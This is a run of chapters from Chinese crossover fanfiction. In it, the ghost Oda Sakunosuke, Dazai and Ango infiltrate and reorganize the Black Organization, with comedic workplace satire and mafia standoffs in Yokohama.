想到这里,织田作的嘴角微微上扬。 但事实其实并非如此。 这种事对织田作来说算得上简单,但换做其他人,绝对称不上简单二字。 中原中也的身高、发色、异能都太明显了,不适合做这种绑票的工作。 太宰治的体术不行,而且他也不愿意让中原中也和织田作搭档。 总的来说,这是个美丽的误会。 回到邮递所接待处。 他们打遍了上级的电话,都是无人接听的状态。 最后,接待员带着比哭还难看的笑走到太宰治和中原中也面前。 “抱歉……” 中原中也完全没有给他解释的机会,暴起怒喝道:“你们在戏弄我吗?!” 他一脚踢飞面前的小桌,暗红色的异能将地面踩出一道大坑。 “让我堂堂干部在这里像外卖小弟一样等着,最后竟敢让我白等!” 接待员快跪下了,他卑微地佝偻着腰,恨不得把自己藏进地缝。 “这个……” “哦~” 他的回答再次被人打断,这次是太宰治。 鸢眼的黑发青年端坐在椅子上,双腿交叠,他单手撑在膝盖上,身体前倾,眼底似有黑泥在涌动。 “我可是很信任贵组织的业务能力,如果连这点简单的小事都做不到,你觉得这个组织还有存在的必要吗?” 接待员彻底跪下了,他只是个普通的打工仔,为什么要这样为难他啊! “喂!是有人上门挑衅吗!” 此时,一队刚完成护送任务的人路过,他们没看清惹事的人,只看到接待员卑微地跪在地上。 撸起袖子就冲了过来,其他人拦都没拦住。 眼角的余光注意到这一幕,太宰治默默起身,走到安全地带,顺便提醒中原中也:“动手吧,中也。” “不要命令我!” 几分钟后,邮递所的大本营轰然倒塌。 几位小头目担惊受怕一整晚,被织田作释放后,他们甚至不敢乱跑,几个衣衫不整的中年人靠着市警的护送才回到组织。 结果迎接他们的,只有一片废墟。 正怀疑人生之时,森鸥外带着收购协议出现了。 “听说诸位遭遇的噩耗,本人深表同情……港口Mafia愿意为诸位及邮递所提供庇护。” 小头目们:“……” 坏了,他们被做局了。 但现在这种情况下,就算要调查也没有人手,如果敢反抗港口Mafia ,说不定明天的他们就会被东一块西一块地丢进海里。 “……” “签吧。” —— 某间小酒馆内。 太宰治用风衣盖住头,靠在织田作的腿上,看起来像是睡着了。 织田作坐着,在他对面是大口嗦面的中原中也。 “老板,再来一条烤鱼。”中原中也头也不抬地点餐,然后他注意到织田作面前的咖喱饭已经吃完了,“你就吃好了?” 异能者的消耗比普通人大,饭量也比普通人大得多。 一晚上下来,中原中也感觉自己都能吃下一头牛。 织田作摇了摇头:“吃好了。” 鬼魂是不会饿的,他吃饭单纯是尝点味道。 “随便你。”中原中也继续埋头嗦面。 吃了几口,他突然鄙夷地看向呼呼大睡的太宰治,不满道:“这家伙什么时候变得跟小孩子一样了。” 不过是熬了一个通宵,有这么困吗? 在他的记忆里面,太宰治还是个住废弃集装箱,跟吸血鬼一样昼伏夜出的阴暗生物。 怎么去侦探社几年,生物钟变了不说,整个人还彻底从吸血鬼变成了向日葵一样的恶心生物。 织田作下意识地看了一眼太宰治。 在他看来,太宰是从小孩子成长为了可靠的大人。 没想到在中也干部的视角下,太宰的成长竟然是反过来的。 感到惊奇的同时,他平静地感慨:“是这样吗。” 接着他看向中原中也,关心道:“中也干部不困吗?” 中原中也默默拉下帽檐,他可不擅长应付这种来自年长者的关怀,语气硬邦邦地说。 “不用,我还要上班。” “这样啊。” 织田作恍然大悟。 原来中也干部是安吾那样的工作狂人。 ———————— !!———————— 织田作眼中的中也和安吾:中也干部=安吾=社畜。 默默享受织田作大腿枕的宰宰一边偷听一边偷笑[猫头] 第67章 太阳出来了。 阳光倾泻在街道上,柏油路面倒映出淡金色的光辉。 来往行人匆匆,有上学的孩童、公司的职员、遛狗的老者。 是和夜晚截然相反的场景。 中原中也早就上班去了,织田作之助等到太宰治睡醒才起身离开。 两人并肩走在街上,太宰治沙色风衣的下摆被风扬起,露出他去邮递所找茬时穿的深色西装。 “唔~” 迎着刺目的阳光伸了个懒腰,身型修长的黑发青年眯起眼睛,大大地打了个哈欠,“真羡慕织田作,忙活一整晚也不会感到困倦。” 他懒洋洋的样子,像极了一只刚从梦中惊醒、睡眼惺忪的黑猫。 说着,太宰治索性趴到织田作肩上,毫无心理负担地将大半个身子的重量压在后者身上。 “不会累也不需要睡眠,体力充沛、五感强化,没有实体不畏惧任何物理攻击。”他细数着鬼魂织田作的优点。 “织田作已经具备成为超级英雄必备的特质了。”他语气开朗地建议:“代号我都想好了,就叫织田作侠怎么样?” “维护和平,拯救世界的织田作侠!” “织田作侠?”织田作认真思考着太宰治的建议,“可我不能在现世久待。”他直接道出残酷的现实。 “我只是一缕不属于这个世界的幽魂。” 拯救世界什么的,还是留给活人吧。 他侧头,看向垂着脑袋不知思考着什么的太宰治。 手自己动了起来,放到那颗毛茸茸的脑袋上揉了两下。 “太宰,只有离别后才能再会。” 如果这个时候说他愿意留下成为“织田作侠”的话,他相信以太宰的能力,一定会找到让他留在现世的方法。 可他不仅是太宰的友人,还是地府的狱卒,是《地府轶闻》编辑处的负责人。是鬼灯大人的信赖才拥有了这次重逢的机会,他不能辜负鬼灯大人的信任。 太宰治久久没有回答,他揣在兜里的手中一直捏着一张空白的纸页。 如果织田作应下的话,手中的“书页”上立马会出现一行“织田作之助会复活”的文字。 可惜结果如他预料的那样,被拒绝了。 “啊呀,那为了能早日和织田作再会,我得抓紧时间找到美丽的女士殉情才行。” 他用开玩笑似的语气说着。 可织田作还是从这轻快的语气中听出了一丝悲伤。 还是个害怕孤独的孩子啊。 就像一枚石子被丢进平静的湖面,泛起阵阵涟漪。 织田作的心脏仿佛在此刻活了过来,酸涩的情绪涌上心头。 感受着从青年身上传递过来的体温,他加重手上的力度,按住那颗在此刻格外乖巧的脑袋。 “可是大家都很需要你啊。” 港口Mafia、武装侦探社、异能特务科。 不知不觉间,太宰在世上的羁绊越来越多,那些温暖的、明亮的、柔软的情感将这个孤独的孩子包裹。 这样的太宰是不会被一个已死之人困在原地的。 “你已经做得很好了。” 太宰治感受着织田作之助的温度。 他清楚地记得和织田作第一次相遇的场景,失血过多的他被金盆洗手的杀手捡回家,为了让他乖乖接受治疗,直接把他五花大绑困在床上。 常识严重缺失的青年杀手还在他的强烈要求下跑去买河豚内脏刺身,结果肯定是被老板狠狠拒绝并教训了一顿。 只好退而求其次用马铃薯长出的嫩芽做成菜给他吃。 最后因为量太少,只是狂呕了一整晚。 现在想起了可真是傻啊。 回忆起这些经历,他的嘴角不自觉地上扬。 “那是当然了,这些年来我可是深受群众的崇敬与侦探社的信赖。” 他一扫眼底的阴霾,抬起头骄傲地说道。 没办法了,在安吾攒够功德之前,他还是再耐心地等等吧。 要是因为功德不够被打入阿鼻地狱才糟糕呢。 至于手里面的“书页”,改天找个机会把它交给乱步先生保管好了。 “哈?我还以为听错了,没想到真是你这个绷带浪费装置又在大放厥词!” 身后突然传来国木田独步的咆哮,让太宰治下意识地松开织田作往旁边一躲。 正好避开国木田独步抓他的手。 “你这是污蔑!” 太宰治反驳道。 “我只相信我的眼睛,现在我只看到了一个游手好闲的绷带精企图用花言巧语骗人。”国木田独步说。 见到太宰重新恢复了活力,织田作舒展眉头,看向跟着国木田独步一起出现的中岛敦:“是有新的委托吗?” 中岛敦看着一见面就陷入争吵的两人,明明是青春洋溢的少年时期,却因为不省心的前辈看起来忧心忡忡。 “嗯,据说昨晚港口Mafia袭击了一间邮递所,侦探社接到委托,让我和国木田先生过来帮忙找回邮递的货物。” 织田作:“是很重要的东西吗?” “嗯,据说是几十年前移民国外的祖父特地寄回来的传家宝。” “可是那边应该已经被港口Mafia接管了。”织田作语气平淡地说出令中岛敦绝望的话语。 “不知道黑蜥蜴能不能通融一下。” 早上吃饭的时候,中原中也提到过一嘴,说是森先生亲自出面,低价收购了邮递所,之后由黑蜥蜴负责警戒任务。 按理说,就算是公司老板换人,此前承接的业务也要好好履行完成。 但昨晚中也干部将别人的大本营都掀翻了,估计好多货物都被埋在了废墟之下。得知是港口Mafia接手了邮递所后,好些人也不敢冒着生命危险跑来索赔。 只有少数知情人士,找到了武装侦探社帮忙找回货物。 “黑、黑蜥蜴……” 中岛敦像是想起了某些糟糕的经历,整个人都变得灰暗了。 虽然侦探社和Mafia暂停开战,但如果是那个人的话—— 黑白的渐变发色,海风下猎猎作响的黑色外套,被誉为“无心祸犬”的武斗派代表、芥川龙之介。 如果是他的话,说不定一见面就会立马用【罗生门】把自己撕碎。 说着,国木田独步那边已经把太宰治拎在手上。 “乱步先生说如果在路上遇到你,就把你一起带上。” “可是我还有更重要的委托诶!”太宰治扑腾着反抗。 对此,国木田独步稳稳地拎着太宰治,转向织田作之助征求同意。 “抱歉打扰了你们的计划,但这个委托很重要,可以麻烦你们帮个忙吗?” 见到太宰的话就带上他一起行动,会有意想不到的效果哦~ 如果他不愿意? 那不重要,你带上织田作先生,太宰自己会跟上的。 以上是江户川乱步的原话。 说实话,就算是侦探社的智囊都这样说了,国木田独步还是很难相信世界上竟然有人能左右太宰治的决定。 不是吧!还真的有啊! 当织田作之助应下他们的请求后,太宰治虽然满脸写着不情愿,但真的跟上来了啊! 国木田独步陷入沉思。 国木田独步拿出手账。 国木田独步奋笔疾书! 织田作看了眼边走路边写字,不时还会发出某种奇怪语气词的国木田独步。 “这样没关系吗?” 回应他的是中岛敦的苦笑。 侦探社的大家都是个性十足的异能者,对此他只能说习惯就好。 “大概是在补充如何将太宰改造为合格同事的内容。”太宰治搭着织田作的肩膀,他坏笑着压低声音蛊惑道:“那本手账可是记录了国木田君超——级多的理想,织田作想看看吗?” 听出太宰是想借此报复让他被迫加班的国木田独步,织田作说:“那是国木田先生的隐私吧。” 他对别人的隐私不怎么感兴趣。 但如果是安吾的工作日志的话,那倒是可以找机会拿过来看一看。 “说的也是,男人藏在心底的阴暗想法没什么好看的。”太宰治瞬间就被说服了,“肯定不如安吾的工作日志有趣。” —— “阿嚏!阿嚏!” 带着情报组连续通宵了好几天的坂口安吾猛地打了好几个喷嚏。 他将整理好的文件收拢起来,放进一个贴有“待销毁”标签的大纸箱内,久坐让他的身体关节每动一下都嘎吱作响。 索性直接站起来拉伸一下僵硬的四肢。 同时,他也不忘布置工作。 “一组,关于卧底调查的线索需要扩大搜查范围。” “二组,行动组要求再细化任务目标的个人信息和特征。” “三组,叛徒朗姆的势力清查报告不够详细,重新完善。” 好消息:现在情报组施行规范化管理。 坏消息:他们成社畜了。 以神秘著称的情报组仿佛一栋欧式古建筑。 现在这栋建筑的屋顶被拉莫尼掀飞了,所有腐朽的糜烂的都被清除丢弃,全新的框架在这里重新建立,而他们这群古堡里的住户也被拉出来丢进农田里干着牛马的工作。 但即便这样,在座的所有人也敢怒不敢言。 毕竟敢站出来和拉莫尼唱反调的人都已经走过三途川了。 降谷零,化名安室透,代号波本,现任情报组三组组长,此刻他的脸上全然没有了青春朝气。 他面无表情地从拉莫尼手中拿回满是红色标注的报告,幽魂一般飘走。 在遇到拉莫尼之前,他自认为自己的工作强度挺大的。 毕竟白天要在波洛打工、当侦探学徒,晚上是黑衣组织的波本,有各种棘手的暗杀侦察任务,空闲时间还要履行公安的职责。 每天只有两三个小时的睡眠时间。 可拉莫尼这人竟然不用睡觉! 还用“不睡觉就不用起床,不下班就不用上班”这种浓浓社畜味的歪理给他们洗脑。 翻看着报告内容,降谷零突然有种梦回警校时期,被教官反复修改论文的窒息感。 这里是犯罪组织又不是公职机关,爱尔兰他们搞这种正规化改革到底是想做什么啊! 把黑衣组织收编吗? ! ———————— !!———————— 某种意义上来说,透子你真相了[狗头] 安吾(挑挑拣拣):医药、金融、教育、政治这些部分可以洗白后纳入异能特务科管理,不过在那之前得先完善下管理制度,拿来吧你! [元宝] 第68章 成为犯罪分子并不可怕,可怕的是成为犯罪分子中的社畜。 很多人选择走上犯罪的道路,都是为了追求内心的自由,同时也是逃避社会规则的约束。 但没人和他们说过,在犯罪组织里也会变成社畜啊。 在拉莫尼大刀阔斧的改革下,上下班需要打卡、出差需要审批、工作要写总结、休假要提前报批。 但在这种高强度的工作改革下,情报组大部分人都坚持下来了。 因为加班有补助,工作有奖金,生病有慰问,干得多拿得多。 规范化管理之下,他们竟然从繁琐的工作流程中感受到了人生的平静和杀人都无法得到的获得感。 甚至,在各种奖惩机制的激励下,情报组的人悄无声息地“卷”起来了。 其中,“卷”得最为突出的就是三组的组长波本。 这小子不知道在哪里进修过职场管理学,率先适应了拉莫尼的改革,一马当先地当上了情报组一人之下众人之上的小头目。 “朗姆的旧势力已经清理完毕,这是相关报告。” 将改了N遍的报告再次呈到坂口安吾的桌上,降谷零将这段时间来肃清朗姆势力的情况一并汇报。 坂口安吾翻开报告,一目十行地看完。 “可以,总算将朗姆反叛的证据压缩到了一个合理的范围。” 安排波本负责肃清朗姆的旧势力,最主要的原因就是对方是织田作之助推荐的人选。 这件事并不是将朗姆收押就算结束,后续工作才是最重要的。 首先就是伪造证据,然后形成一份极具说服力的工作报告。 不能太夸张、也不能太写实,只有这样才能让Boss相信朗姆是真的起了反心。 听到坂口安吾这样说,降谷零终于松了一口气。 这些天的熬夜加班总算要划上句号了…吧? 他看向严肃沉稳的拉莫尼。 难怪织田作行事作风这么大胆,原来是背后有这样厉害的人善后。 坂口安吾并不在意降谷零暗中打量的视线,以工作为重的他面无表情地从抽屉里拿出一个U盘。 “研究所那边出了点小事故,你的工作已经做完了吧,接下来就辛苦你跑一趟。” 降谷零:“……好。” 察觉到波本的态度不太对,坂口安吾抬头看了他一眼,随即从口袋里拿出信号屏蔽器打开。 “这是渗透研究所的大好机会,你明白吗?” 他们的目标可不是只拿下情报组,现在整个黑衣组织都是无赖派的狩猎目标。 考虑到织田作和太宰治都在横滨忙着谈生意,分身乏术的坂口安吾只好把这个重要的任务交给降谷零。 降谷零语气坚定了一些:“我明白。” 注意到对方眼底的青黑,坂口安吾大概知道了他犹豫的原因。 “你们来…之前,没有进行过加班训练吗?” “加班训练?”降谷零愣住了。 “就是最基本的,连续工作48小时以上的耐受度训练。” “…没有。” 还有这种训练吗?等这之后让风见去了解一下好了。 降谷零一副受教的表情。 坂口安吾推了推眼镜:“那这几天就算我免费帮你提高工作耐受度了。” 东京的公安连这点强度的加班都接受不了吗? 唉,算了,毕竟是织田作先生推荐的人。 降谷零:“……” 他该说“谢谢”吗? —— 芥川龙之介今天遇到了他的两位一生之敌(织田作和中岛敦)、人生导师(太宰治)以及侦探社的家伙(国木田独步)。 被忽略的国木田独步朝太宰治大吼:“为什么你们三个都认识Mafia的无心祸犬啊!” 中岛敦曾经因为组合对“人虎”的悬赏,和芥川龙之介算是不打不相识的关系。 太宰治作为侦探社的一员,在对战组合期间难免和芥川龙之介打过照面。 但织田作之助为什么也认识那家伙,而且芥川对他的仇恨值甚至比中岛敦还高。 刚一见面,【罗生门】就呼啸着朝织田作攻来了。 “不过是重返世间的亡者,竟敢再次现身挑衅!” 芥川龙之介念着文绉绉的战前发言,瞬间出现在织田作眼前。 “织田先生!” 一旁的中岛敦立即将四肢虎化,想要扑过来挡下芥川龙之介的攻击。 但有一个人更快。 太宰治仿佛早就预料到了这一幕,右跨一步,握拳出击。 在【人间失格】的作用下,【罗生门】瞬间消失,实打实的拳头精准地击中芥川龙之介的左脸。 后者踉跄着后退了几步。 “芥川前辈!”听到喧闹声出来查看的樋口一叶见芥川龙之介被侦探社的人围攻,立即指挥部下准备反击。 “哼。” 见状,太宰治冷哼一声,挑衅道:“就算你们全部一起上,也不过是蚂蚁之于大象。” 见太宰治还有闲心挑衅,中岛敦一脸惶恐。 他很想说现在他们可是处在劣势,而且乱步先生不是说叫上太宰先生一起有利于完成委托吗,但现在的情况明显更糟糕了啊。 “咳咳,在下……” “所有人退下。” 森鸥外的声音自芥川龙之介身后响起,其余人纷纷收起武器后退。 “ Boss。” 没有理会半跪在地上表示服从与尊敬的芥川龙之介,森鸥外直接来到太宰治面前。 “难得太宰会出现在Mafia的地盘上呢。” 说着,他露出意味深长的笑:“还是说,太宰终于意识到了自己的真正归属,终于想好回来了?” 森鸥外的视线落在太宰治风衣下的深色西装上。 “干部的位置我可是一直为太宰你留着呢。” 听中原中也说,太宰治为了织田作之助跑到了黑衣组织卧底。 猜测两人会再次出现,森鸥外可是特地在这里等着他们。 “请森先生放心,我在侦探社过得很好,永远都不会回到Mafia 。”太宰治笑着回答,但在他的眼底,只有淡漠和杀气。 因为和芥川龙之介交手过好几次,对太宰治的身份有所猜测,所以此刻听到森鸥外亲口承认太宰治在Mafia的干部地位,中岛敦并没有感到惊讶。 可另一个人就没他这么冷静了。 国木田独步死死地抓紧手中的钢笔和手账本,几乎是用尽了全身力气让自己不要在敌对组织的Boss面前失态。 “敦、刚刚、他说的意思是……太宰之前是、是港口Mafia的干部吗?” 那个绷带浪费装置,在加入侦探社之前,竟然是港口Mafia的五大干部之一! 中岛敦小声答了声“对的”。 身前是太宰治和森鸥外的言语交锋,身后是被真相冲击短暂陷入混乱的国木田独步和茫然无措的中岛敦。 织田作觉得他需要做点什么。 大家一直僵持在这里只会浪费时间。 “我们是来找一位委托人的家人从海外邮寄来的包裹的。”他出声打断了面前两人的对话,“可以让我们进去找找吗?” 在织田作身后,中岛敦的表情变得更加惶恐了。 那可是港口Mafia的首领啊!这么直接是可以的吗?搞不好对方觉得被冒犯一气之下把他们全部轰出去不说,直接让部下毁掉所有货物也说不定。 然后他听到森鸥外欣然同意了织田作之助的请求。 “可以啊,如果人手不够的话,我这边的部下们也很乐意提供帮助哦。” 不是,港口Mafia什么时候这么好说话了? “敦君,你和国木田先生先去找东西吧。”织田作回头对陷入震惊的中岛敦提醒。 “啊、哦,好的。” 意识到织田作是在帮自己说话,中岛敦赶紧推着几乎石化的国木田独步朝被Mafia控制起来的区域跑去。 路上,中岛敦恍然大悟。 原来乱步先生说的把太宰先生带上会有利于他们完成委托,实际上提供帮助的是和太宰先生绑定行动的织田作先生。 不愧是连“魔人”和神威那样的危险人物都能解决的织田作先生! 见碍事的人离开,森鸥外念出太宰治在黑衣组织刚获取的代号:“百利甜,这个代号真是十分贴合太宰呢。” 说着,他装模做样地露出委屈的神色:“不过堂堂港口Mafia竟然输给了一家靠制药发家的犯罪组织,能和我说说那边有哪里更吸引你们吗?” 织田作之助、坂口安吾以及就算离开了Mafia也被他时刻忌惮着的太宰治。 这三个人都不是那种会一时兴起乱来的人。 加上中原中也汇报过黑衣组织在暗中进行着连Mafia都嗤之以鼻的人/体/实验。 森鸥外觉得有必要好好了解一下合作伙伴。 面对森鸥外的试探,织田作选择保持沉默。 一般在这种时候,他都会把发言权全权交给太宰治。 “哼。”太宰治轻哼一声,带着愉悦的神情,用悠扬的咏叹调感叹:“啊~那可是一个非常不错的组织。” “超——极自由的那种,新人可以随意挑战Boss之下的所有人,玩弄他们的精神、褫夺他们的权柄、将他们的势力化为己有。” “简直就和大型真人角色扮演游戏一样。” 他看向因自己的介绍陷入沉思的森鸥外。 “如果森首领能接受我们在港口Mafia这样玩的话,回来当个干部也不是不可以。” 被那样毫无掩饰的恶意注视着,森鸥外相信只要自己答应,对太宰治可以说是言听计从的织田作之助当场就会把他制服,然后帮助回归干部身份的太宰治夺权。 他维持着表面的淡然。 心里早已掀起惊涛骇浪,主要还是对黑衣组织引狼入室的行为表示不理解。 如果太宰治说的都是真的,黑衣组织的Boss不但对这三人泥石流一般的侵蚀能力放任不管,甚至提供了一定的便利。 那位Boss,肯定和港口Mafia的前任首领一样,因为年纪太大、杀孽太重导致精神失常吧。 “我不过组织的奴隶,对于太宰你提的要求,只有需要召开干部会议商讨后才能给出答复。” 森鸥外维持着表面的体面,毕竟是他自己提的建议,自己否定自己未免太不大度了。 “干部会议?”太宰治露出鄙夷的神色,“我才不要把命运交到小矮子手上审判,那还是算了。” 那样说不过是想让森鸥外不要再把“给你留着干部的席位”这种恶心的话挂在嘴边罢了。 毕竟他现在的工作,可是安吾花了两年时间帮忙洗白档案才得到的。 虽然很想看安吾吃瘪,但这种方式还是算了。 而且织田作也不会希望他再回到Mafia。 ———————— !!———————— 无赖派的游戏场——黑衣组织[小丑] 第69章 【死亡就是终结。 这是我少年时期对生命的理解。 只要赏金满足预期,不管有多少目标,我都会让他们的生命提前终结。 在反复的追杀与复仇中,我好像陷入了一个无穷无尽轮回的深渊。 肉/体在繁杂喧闹却又冰冷残酷的世间游荡,灵魂却早已不知去向,独留一具空壳机械地执行着雇主的订单。 本以为人生会在这样重复且枯燥的工作走向终点。 我偶然间看到了一本书,一本没有结尾的书。 】 听着太宰治和森鸥外的对话内容从“欢迎太宰复职”到“组织是不能用来玩乐的”再到“没读过织田作的小说都是因为森先生不够资格”。 织田作对上了森鸥外不解、探究、好奇的眼神。 像是在问织田作“要阅读织田君的小说还有准入门槛吗”。 答案当然是有的。 那就是现世的生命走向终结、也就是死亡之后。 不过这种时候还是不要说出来为好。 ——一定会被当成是挑衅。 “反正,总有一天森先生会看到的。”太宰治摆了摆手,表示道别,离开时,他回头意味深长地看向森鸥外:“前提是得在阿鼻地狱服刑结束。” “阿鼻地狱?”森鸥外把这当作是太宰治的诅咒,他无所谓地道:“如果有的话,那我期待和太宰君在阿鼻地狱的再会。” “那是绝对不可能的哦,毕竟我这边可是有安吾的功德在。”太宰治说着说让森鸥外一头雾水的话,推着织田作往外离开。 织田作想要问问中岛敦和国木田独步怎么办,但太宰的计划总是万无一失的。 这样想着,他顺着太宰的力道离开了。 独留森鸥外站在原地思考“安吾的功德”是什么奇怪的暗号。 —— “织田作的稿子写得怎么样了?我可是很期待看到作品的哦~话说,要是织田作回到地府,我还能看到织田作的小说吗?” 路上,太宰治叽叽喳喳地问出一连串令织田作难以回答的问题。 虽然魂体不会冒汗,但织田作还是感受到了那种浑身发热、后背冒汗的感觉。 “……正在写。” “诶?我可不想听这种似是而非的回答。” “写稿是急不来的,太宰。”他解释道。 被那双明亮且装满期待的鸢眼注视着,尽管如此,织田作也说不出“快了,下周就能完稿”这种谎话。 先不说太宰肯定能识破他的谎言,就算他这会放过,接下来一定会卡着一周的时限进行催稿。 “是这样吗——”太宰治拖长了声线,青年的嗓音很是好听,似乎有种让人无条件听从的魔力。 但他面对的是织田作。 “是的。”织田作平静地回答,然后他转移了话题:“后面如果想看的话,每年的盂兰盆节,我会把这一年来写的小说带过来。” 盂兰盆节,亡灵会在第一天骑着黄瓜马快速返回人间,到了夜晚,又会骑上茄子牛缓慢地离开。 “可这不是纪念祖先的节日吗?织田作这样说,是想占我和安吾的便宜吗?”太宰治开玩笑说。 听完,织田作笑了笑:“每年都会有亡灵贪念人间的烟火,不愿按时返回,这时地府就会派出狱卒前往人间逮捕这些不遵守规则的亡灵。” “我是狱卒,太宰。” “这样啊。”太宰治表现得很遗憾:“还以为能趁机让安吾认织田作为祖先呢。” “安吾肯定会拒绝吧。” 而且织田作也并不是很想当自己好友的祖先。 “切,小气的安吾。” 如果坂口安吾在的话,他肯定会结合两人槽点满满的对话,进行非常专业且快速的吐槽。 可惜他正在东京加班,既听不到两人的对话,也无法进行有效吐槽。 此刻的坂口安吾,刚睡了两个小时,带着恢复充沛的精力重返工作岗位。 他整理着待办的工作。 其中包括和异能特务科派来的卧底交接组织可被接收的几条情报线、在彻底覆灭黑衣组织前将各国派来的卧底提前清理出去避免误伤以及给工藤新一进行入职培训。 “呼,难道在织田作先生眼里,我是什么很擅长指导青少年的人吗?” 坂口安吾长叹一口气。 想到织田作和太宰治应该快结束出差回到东京了,他将工作推到一边,拿出手机编辑信息。 【今晚一起喝一杯吧。 】 群聊中的另外两人回复得很快。 首先是织田作之助。 【好,我们大概8点到。 】 过了一分多钟,才是太宰治。 【安吾要用奖金请我们喝百万名酒吗?真是太客气啦,话说回来,安吾想多一位祖先吗? 】 选择性地无视了太宰治那一堆奇奇怪怪的要求,坂口安吾回复了织田作的消息。 【那我提前订好位置。 】 发完消息,他才抬头看向刚在部下的带领下,走进办公室的高中生侦探工藤新一。 宽大的实木办公桌前,戴着圆框眼镜的青年平静沉稳,桌上堆积了大量的文件资料,都被青年一一归类放好。 只看这些,仿佛这里只是一间普通的办公室。 毕竟谁又能想到这里会是黑衣组织情报组的中枢核心呢。 工藤新一站在办公桌前,侦探的本能让他不由自主地观察起办公室。 他四处打量的小眼神自然瞒不过坂口安吾。 “这里除了桌上的文件,其他都只是些无关紧要的办公用品。”坂口安吾开口:“看样子你在经历过那样的事件后,还是没能学会控制多余的好奇心。” 工藤新一:“……” 织田先生的搭档好尖锐,一上来就是这么直白的说教。 他当然知道这一点,但侦探的天性不就是这样,明知危险,却仍然选择为了真相铤而走险。 “织田作先生难道是自带吸引问题少年的气场吗。”坂口安吾捂着脸吐槽道。 “什么?” “好了,事已至此,为了你能安稳地活到组织覆灭的那一天,接下来我说的每一句话都要牢牢记住。” “第一,收起多余的好奇。” “第二,任何行动以我的命令为准。” “第三,如有意外发生,谨遵以上两条要求。” 没想到坂口安吾说话这么直接,工藤新一指了指门外:“直接在这里说组织覆灭的话…可以吗?” 坂口安吾的回答是。 “外面那些人说不定比我们更希望组织覆灭。” 情报组能接受他的管理的人都在完成各自的书面任务后纷纷离开出外勤了,留下来的只是一些“卷”不动且生性残忍的家伙。 换句话说,就是即将被淘汰掉的无用之人。 “哈?” “好了,不要浪费时间,你的工作是把这些文件分类,并送到对应的成员手上。” 将一叠半人高的文件推到工藤新一面前,坂口安吾提醒道:“这些人里面大部分都是代号成员,他们各有各的联络暗号,你不是侦探吗,去推理吧。” 工藤新一:“……” 他艰难迈步,来之前他设想过可能发生的场景。 比如一进门就撞见满脸杀意的琴酒,或者被一群可怕的犯罪分子包围质问,再不济也是被安排杀人放火之类的任务限时完成。 然而事实给了他狠狠一击。 和他设想的完全不一样,甚至更艰难! 轻而易举地用一堆工作打消了少年侦探无用的好奇心,坂口安吾开始处理其他工作。 独留工藤新一对着一堆文件陷入沉思。 —— “盂兰盆节?” “嗯嗯,如果安吾将织田作认作祖先的话,每年的盂兰盆节我们都能见到织田作了哦~” 织田作头顶的呆毛晃了两下。 “请恕我拒绝。” “安吾好绝情,你居然狠心地想让我们再也见不到织田作。” “我不认为这是唯一能再次见到织田作先生的方法。”坂口安吾冷着脸说:“这不过是太宰你的恶趣味吧。” 说话间他看向坐在自己和太宰治中间的织田作之助,后者头顶的呆毛正愉悦地晃个不停。 显然这又是太宰治为了捉弄他想出来的鬼点子。 “酥败了啊。” 被识破了计谋,太宰治趴在桌上含糊不清地说:“安吾真狡猾。” “我看真正狡猾的是你吧!”坂口安吾捏紧酒杯大喊:“还有织田作先生,你也别太纵容太宰了啊!” 被点名的织田作愣了下,然后语气平静地说:“太宰说这样能帮安吾缓解工作压力。” “对啊对啊,我可是一片好心呢,安吾~”太宰治附和。 “哪有帮别人缓解压力的方法是让他认自己的朋友当祖宗的啊!” 坂口安吾崩溃捂脸。 织田作一如既往地冷静:“是这样啊。” 他转头看向太宰治:“任务酥败。” 太宰治露出无奈的表情,摊手道:“酥败酥败,毕竟安吾一点都不配合。” “别把捉弄人说得像什么正经任务一样啊!”坂口安吾猛地灌下一口酒后朝两位友人喊道。 “不过现在的安吾看起来比刚进门那会精神多了。” “嗯。” “看来我们的行动还是起到了一点作用的吧,织田作~” “是啊。” 坂口安吾咬牙:“……那还真是多谢你们了。” “不用谢安吾,实在过意不去的话,就多多做好事积攒功德然后报答我吧。” “安吾不用客气。” “给我好好听人说话啊!我明显是在说反话吧你们别装作听不懂!” ———————— !!———————— 《汪》里面无赖派的相处日常真的看一百遍都不会腻~ 织田作和安吾真的很宠着宰宰啊[撒花] 第70章 【接单、完成、接单、再完成…… 如此循环往复,不知不觉间就积累了一大笔财富。 各种各样的委托人找上门来,施压、教训、复仇…他们的理由千奇百怪,不过对我来说都一样,只要给钱就行了。 如无意外,我的人生会在这枯燥血腥的东奔西走中走向终结。 可当我无意间登顶杀手榜第一人后,一本没有结局的书改变了这条被黑暗和仇恨铺满的荆棘之路。 我那麻木空荡的灵魂似乎第一次找到了所谓的方向。 不杀人的话,总得找份正经工作吧。 带着这样的想法,我成为了一名邮递员。 】 “决定了,我们这次的目标是黑衣组织的Boss !” 喝完两壶清酒,太宰治兴致勃勃地叉腰决定,“这种事情我其实挺有经验的。” 黑衣组织的势力太过庞大,如果用坂口安吾的方法一点点蚕食倾吞,起码要三个月时间。 与其稳扎稳打,不如把目标定大一点,一击致命。 到时候再由他们三个人中随便一人顶替Boss的位置,直接将黑衣组织的命脉握在自己手里。 要停止研究也好、逮捕罪犯也罢,都会变得和呼吸一样简单。 坂口安吾看向他,张了张嘴却没有说什么。 根据他对太宰治的认知,后者应该巴不得任务时间无限延长吧,毕竟那样就能有更多的时间可以和织田作相处。 不过他这几年除了帮太宰治洗白档案,基本上没有和对方接触。 或许是这些年的经历让他不再和黑/手/党时期一样肆意妄为了吧。 坂口安吾的观察可逃不过太宰治敏锐的感知力。 他斜睨了坂口安吾一眼,那眼神像是在说【安吾总是带着偏见看人】。 他是个畏惧幸福的胆小鬼。 能再次和逝去的友人坐在一起聊天喝酒这种事,本就是只敢在梦中幻想的美景。 反正死后也会再见,何必执着于当下这短暂的重逢。 有些执念,越是想紧紧地攥在手中,越是会容易化作流沙从指缝中流走。 当然最根本的原因还是织田作委婉地拒绝了太宰治帮他复活的提议。 太宰治这人总有自己的节奏,一般不会接受他人的劝告,但织田作除外。 既然织田作想完成任务,那他就会立马提出最优解的行动方案。 太宰治,一款前第一杀手织田作之助亲自认证好用的外置大脑。 “能找到Boss的位置吗?” 织田作从来都是行动派,一听要干掉Boss,他立马思考起如何从层层安保和护卫中突围劫走Boss的方案。 至于坂口安吾和太宰治的视线交流,他注意到了,但出于对友人的尊重,直接忽视了。 “这得看我们情报组的老大怎么做了。”太宰治用调侃的语气对坂口安吾说道。 被调侃的坂口安吾清了清嗓子,丝毫没有被太宰治的话语影响。 “借汇报工作为由,我已经与黑衣组织Boss建立了固定的联络,如果要追踪对方的通讯地址,需要从特务科抽调这方面的异能者过来协助。” 他理智地分析着当前的现状。 